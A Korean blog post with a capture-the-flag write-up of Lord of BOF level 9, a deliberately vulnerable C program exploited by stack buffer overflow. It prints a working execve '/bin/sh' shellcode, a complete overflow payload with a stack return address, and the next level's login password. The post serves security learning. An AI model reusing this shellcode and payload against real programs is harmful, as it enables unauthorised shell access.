일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | ||||||
2 | 3 | 4 | 5 | 6 | 7 | 8 |
9 | 10 | 11 | 12 | 13 | 14 | 15 |
16 | 17 | 18 | 19 | 20 | 21 | 22 |
23 | 24 | 25 | 26 | 27 | 28 |
- hacking
- Spring MVC
- Payload
- pwnable
- LOB
- SQL
- 정보처리기사 실기
- OS
- Lord of BOF
- 워게임
- System
- stack overflow
- PWN
- webhacking.kr
- Buffer Overflow
- wargame
- 정보보안기사 실기
- 정보보안기사
- BOF
- Operating System
- Pwnable.kr
- Spring
- 해킹
- Shell code
- 운영체제
- 네트워크
- 웹해킹
- Spring Framework
- system hacking
- webhacking
- Today
- Total
DongDD's IT
[LOB] Level9 troll 본문
[LOB] Level9 troll
Problem
이번 문제에서도 vampire 실행 파일 하나와 vampire.c 소스 코드 파일이 있었다.
소스 코드를 확인해보았다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 | #include <stdio.h> #include <stdlib.h> main(int argc, char *argv[]) { char buffer[40]; if(argc < 2){ printf("argv error\n"); exit(0); } if(argv[1][47] != '\xbf') { printf("stack is still your friend.\n"); exit(0); } // here is changed! if(argv[1][46] == '\xff') { printf("but it's not forever\n"); exit(0); } strcpy(buffer, argv[1]); printf("%s\n", buffer); } | cs |
buffer의 size는 40 bytes이고 if(argc == 2) 였던 전 문제에서 다시 if(argc < 2)로 바뀌어있었다.
argv[1]의 48번째 글자가 "\xbf"여야하고 새로 추가된 부분으로는 argv[1]의 47번째 글자가 "\xff"가 아니여야 한다는 것이다.
그 후에 strcpy()를 통해 argv[1]을 buffer에 복사해준다. 저번 문제들에서는 buffer를 초기화하거나 argv[1]를 초기화했었는데 이번 문제에는 그것들이 사라지고 "\xff"를 확인하는 조건만 추가되었다.
return address의 시작 주소가 "\xbf"여야 한다는 점에서는 stack에 있는 값을 사용해야 된다는 사실은 그대로 인것 같았다.
Solution
1. argv[1]에 Shell code 이용
argv들은 ebp보다 낮은 주소에 저장이 되는 것을 이용했다.
argv의 값을 매우 크게 해서 bfff로 시작하는 모든 주소를 덮고 bffe로 시작하는 주소에 값이 들어갈 때 까지 dummy로 채웠다.
처음에는 10000 bytes를 입력했지만 모자라서 100000 bytes를 넣으니 bffe로 시작하는 주소에 data가 들어가는 것을 볼 수 있었다.
argv[1]에 shell code와 dummy로 44 bytes로 채우고 return address를 shell code가 위치한 주소로 정하고 나머지 100000을 채울 99952(100000-48)만큼의 dummy값을 넣었다.
shell code가 들어간 위치를 확인해보았다.
0xbffe7611부터 shell code가 저장되어 있는 것을 볼 수 있었다.
이 것을 이용해 payload를 작성했다.
argv[1] shell code 저장 주소 : 0xbffe7611
사용한 Shell code(24 bytes) :
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80
Payload = Shell code(24 bytes) + dummy(20 bytes) + return address(shell code의 시작 주소) + dummy(99952 bytes)
위에서 작성한 Payload로 aampire 파일을 실행해보았다.
위에서 작성한 Payload로 실행했을 때 segmentation fault가 뜨는 것을 볼 수 있었다.
core파일을 통해 gdb해보았을 때 shell code가 들어가있는 주소가 다른 것을 볼 수 있었다.
argv[1] shell code 저장 주소 : 0xbffe74a0
위 payload에서 return address의 주소만 바꿔주니 문제를 해결할 수 있었다.
************** Answer & Flag **************
1. argv[1]에 Shell code 이용
Payload = Shell code(24 bytes) + dummy(20 bytes) + return address(shell code의 시작 주소) + dummy(99952 bytes)
argv[1] = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"+"A"*20 + "\xa0\x74\xfe\xbf" + "A"*99952
Next ID : vampire
Next PW : music
'Wargame > LOB' 카테고리의 다른 글
[LOB] Level11 skeleton (0) | 2018.01.24 |
---|---|
[LOB] Level10 vampire (0) | 2018.01.21 |
[LOB] Level8 orge (0) | 2018.01.20 |
[LOB] Level7 darkelf (0) | 2018.01.19 |
[LOB] Level6 wolfman (0) | 2018.01.19 |